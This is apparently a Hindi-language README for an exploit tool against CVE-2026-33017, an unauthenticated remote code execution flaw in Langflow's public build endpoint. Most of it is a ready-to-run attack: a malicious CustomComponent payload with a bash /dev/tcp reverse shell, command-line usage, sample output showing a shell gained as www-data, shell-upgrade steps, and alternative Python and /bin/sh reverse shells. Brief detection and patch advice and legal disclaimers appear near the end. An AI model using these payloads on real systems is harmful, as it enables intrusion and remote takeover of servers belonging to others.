
CVE-2026-33017 के लिए एक्सप्लॉइट, जो Langflow में एक बिना प्रमाणीकरण वाला RCE है, जो दुर्भावनापूर्ण CustomComponent पेलोड के माध्यम से रिवर्स शेल सक्षम करता है।
CVE-2026-33017 Langflow संस्करण <= 1.8.2 में एक अनधिकृत रिमोट कोड एक्सेक्यूशन (RCE) भेद्यता है। यह भेद्यता /api/v1/build_public_tmp/{flow_id}/flow एंडपॉइंट में मौजूद है, जिसमें उचित प्रमाणीकरण का अभाव है और यह हमलावरों को ग्राफ संकलन प्रक्रिया के दौरान मनमाना Python कोड निष्पादित करने की अनुमति देता है।
यह एक्सप्लॉइट केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। इस टूल का उपयोग केवल उन सिस्टमों पर करें जिनके आप मालिक हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।
| संस्करण | स्थिति |
|---|
| <= 1.8.2 | असुरक्षित |
| 1.9.0 | पैच किया गया |
यह भेद्यता validate.py में prepare_global_scope() फ़ंक्शन से उत्पन्न होती है, जो प्रत्येक CustomComponent नोड के कोड पर उचित सैंडबॉक्सिंग के बिना exec() को कॉल करता है। जब कोई कंपोनेंट लोड/संकलित किया जाता है, तो मॉड्यूल स्तर पर कोई भी Python कोड (क्लास परिभाषाओं के बाहर) तुरंत निष्पादित हो जाता है।
POST /api/v1/build_public_tmp/{flow_id}/flow
विशेषताएँ:
Attacker POST → build_public_tmp → start_flow_build() → create_graph() →
Graph.from_payload() → add_nodes_and_edges() → initialize() →
_instantiate_components_in_vertices() → instantiate_component() →
eval_custom_component_code() → prepare_global_scope() →
exec(compiled_code) ← मनमाना कोड निष्पादन
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>
1. रिवर्स शेल
# लिसनर शुरू करें
nc -lvnp 4444
# एक्सप्लॉइट चलाएँ
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
2. शॉर्ट विकल्पों का उपयोग
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
3. स्थानीय परीक्षण
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
4. कस्टम टाइमआउट
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
| तर्क | शॉर्ट | आवश्यक | विवरण |
|---|---|---|---|
--url | -u | हाँ | लक्ष्य URL (जैसे, https://target.langflow.com) |
--flow-id | -f | हाँ | सार्वजनिक फ्लो का फ्लो ID (UUID) |
--lhost | -lh | हाँ | रिवर्स शेल के लिए लिसनर IP पता |
--lport | -lp | हाँ | रिवर्स शेल के लिए लिसनर पोर्ट |
--timeout | -t | नहीं | HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट: 15) |
एक्सप्लॉइट एक दुर्भावनापूर्ण CustomComponent नोड भेजता है जो मॉड्यूल स्तर पर कोड निष्पादित करता है:
import os
# यह कंपोनेंट लोडिंग के दौरान तुरंत निष्पादित होता है
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})
1. हमलावर /api/v1/build_public_tmp/{flow_id}/flow पर POST अनुरोध भेजता है
2. Langflow दुर्भावनापूर्ण CustomComponent प्राप्त करता है
3. prepare_global_scope() कंपोनेंट कोड पर exec() कॉल करता है
4. मॉड्यूल-स्तरीय कोड तुरंत निष्पादित होता है
├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. रिवर्स शेल हमलावर के लिसनर से वापस जुड़ता है
6. ग्राफ संकलन जारी रहता है (लेकिन बहुत देर हो चुकी है)
exec() के दौरान चलता हैexec() बिना किसी प्रतिबंध के कॉल किया जाता हैdata पैरामीटर सीधे एम्बेड किया जाता है$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
============================================================
CVE-2026-33017 - Langflow अनधिकृत RCE
============================================================
[!] सुनिश्चित करें कि आपका लिसनर चल रहा है:
nc -lvnp 4444
[+] लक्ष्य URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] एक्सप्लॉइट पेलोड भेजा जा रहा है...
[+] स्थिति कोड: 200
[+] एक्सप्लॉइट सफलतापूर्वक भेजा गया!
[+] जॉब ID: abc123-def456-789ghi
[*] रिवर्स शेल के लिए अपना लिसनर जाँचें!
[*] nc -lvnp 4444
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
एक बार जब आपके पास रिवर्स शेल हो:
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# या script का उपयोग करें
script /dev/null -c bash
# Ctrl+Z के साथ बैकग्राउंड करें
# फिर चलाएँ:
stty raw -echo
fg
reset
export TERM=xterm
रिवर्स शेल के बजाय मनमाने कमांड निष्पादित करने के लिए स्क्रिप्ट को संशोधित करें:
# build_payload() फ़ंक्शन में:
return f"""import os
_x = os.system("{command}")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={{}})
"""
1. Python सॉकेट रिवर्स शेल
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
2. /bin/sh रिवर्स शेल (यदि bash उपलब्ध नहीं है)
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")
/api/v1/build_public_tmp/*/flow पर POST अनुरोधos.system() या subprocess युक्त संदिग्ध CustomComponent कोड/tmp/rce-proof या /tmp/executed फ़ाइलें/build_public_tmp एंडपॉइंट में उचित प्रमाणीकरण जोड़ेंCustomComponent के लिए कोड इनपुट को साफ़ करेंexec() कॉल के लिए उचित सैंडबॉक्सिंग लागू करें| तिथि | घटना |
|---|---|
| मार्च 2026 | भेद्यता की खोज |
| 16 मार्च, 2026 | GitHub सलाह प्रकाशित |
| अप्रैल 2026 | सार्वजनिक प्रकटीकरण |
| अप्रैल 2026 | पैच जारी (1.9.0) |
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए है। अपने जोखिम पर उपयोग करें।
यह सॉफ़्टवेयर केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं। उपयोगकर्ता सभी लागू कानूनों और विनियमों का पालन करने के लिए पूरी तरह से ज़िम्मेदार हैं।
सुरक्षा अनुसंधान के लिए 🖤 के साथ बनाया गया